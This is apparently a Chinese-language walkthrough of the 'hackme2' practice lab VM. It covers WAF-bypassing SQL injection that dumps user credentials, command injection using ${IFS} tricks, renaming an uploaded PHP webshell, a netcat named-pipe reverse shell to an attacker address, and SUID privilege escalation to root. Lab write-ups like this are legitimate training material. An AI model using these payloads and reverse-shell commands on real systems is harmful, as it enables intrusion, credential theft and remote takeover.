描述
“ hackme2”是中等难度级别的框。这是hackme系列的第二部分,其中更多的控制措施可以阻止恶意攻击。此外,您还必须开箱即用,以利用漏洞。目标是通过Web漏洞获得受限的特权访问,然后特权以root用户身份升级。该实验室的创建是为了模拟现实世界中的网络漏洞。
“ hackme2”使用DHCP并可能在mysqld自行关闭(非常罕见的情况)的情况下,尝试强制重启机器,并且随后应能正常工作。
https://github.com/swisskyrepo/PayloadsAllTheThings
https://idc.wanyunshuju.com/vul/1947.html
目录
一、信息收集
1.nmap扫描:
http: //192.168.155.140
二、漏洞探测
访问http://192.168.155.140/login.php
注册一个新账号,我暴力破解得到了一个测试账号:
test/testtest
探测SQL格式,WAF规则
本搜索框的功能是检索数据库中的书名、当搜索框为空的时候,可以返回所有的内容,
当搜索框中只包含书名的前一部分的时候,也可以返回对应的内容:
因此我们猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):
$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
基于此,我们构造如下payload:
Linux%' and '123' like '1
使用另一个payload:Linux%' and '23' like '1
发现无法返回结果
可以验证我们的想法。
然而我们使用数据库函数的时候却出现了问题:
Payload:Linux%' and database() like'
没有返回内容,而当我们使用注释符来代替空格的时候,则可以执行成功。
Linux%'/**/and/**/database()/**/like/**/'
三、漏洞利用
1.手工注入
通过构造联合查询,一步一步获取出数据库名,表名,列名和字段
Linux%'/**/union/**/select/**/database(),2,3/**/like'
Linux%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
Linux%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'and/**/table_schema/**/like'webapp
Linux%'/**/union/**/select/**/group_concat(user),group_concat(pasword),3/**/from/**/users/**/where/**/'1'/**/like/**/'
2386acb2cf356944177746fc92523983:Uncrackable
解密得到:superadmin/Uncrackable
退出,superadmin登入
2. 文件上传&命令注入
文件可以正常上传,但是无法访问,无论是图片文件还是其他文件,uploads文件夹不存在。
寻找其他功能点。
接下来我们注意到下面两个输入框,可以将处理结果回显到页面上,这里我除了想到XSS之外。还想到了测试命令注入或者模板注入。可以发现在Last Name输入框里输入7*7,可以返回49
攻击完成之后可以发现 system('ls') 这个payload有命令执行的回显。
我们换其他命令来执行,例如pwd,ls都可以正确执行而cat命令无法执行,猜测其过滤了空格,我们使用cat
可以看到在返回包里泄露的welcomeadmin.php的完整源代码,包括文件上传的绝对路径。
`cat<welcomeadmin.php`
system('cat${IFS}welcomeadmin.php')
上传图片码123m.jpg并通过命令执行修改后缀mm6.php
system('mv${IFS}/var/www/html/uploads/year2020/123m.jpg${IFS}/var/www/html/uploads/year2020/mm6.php')
访问http://192.168.155.140/uploads/year2020/mm6.php
一句话木马上传并修改成功.
3.蚁剑连接
四、后渗透&提权
1. 交互环境
1)用kali自带的weevely生成木马并连接,完成连接之后使用nc反弹shell:由于靶机的nc版本特殊,无法使用nc -e选项,
因此这里使用了如下的payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.155.134 4444 >/tmp/f
使用python将shell升级为交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
通过蚁剑上传php-reverse-shell.php
nc监听,ncat -lvp 1234
访问http://192.168.155.140/uploads/year2020/php-reverse-shell.php
得到shell
2.提权
find / -perm -4000 2> /dev/null
home/legacy/touchmenot 文件可疑
执行一下之后发现顺利get root权限。
五、总结
- 猜测SQL语句格式为(%代表通配符,可以匹配零个或者多个任意字符):$sql = "SELECT * FROM BOOKS WHERE book_name LIKE '".$input."%';"
- Linux%'/**/union/**/select/**/database/**/(),'2','3 /**/ 绕过空格
- `cat<welcomeadmin.php` < 绕过空格命令执行
- system('cat${IFS}welcomeadmin.php') ${IFS}绕过空格命令执行
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.155.134 4444 >/tmp/f
- php-reverse-shell
- find / -perm -4000 2> /dev/null 查看可提权信息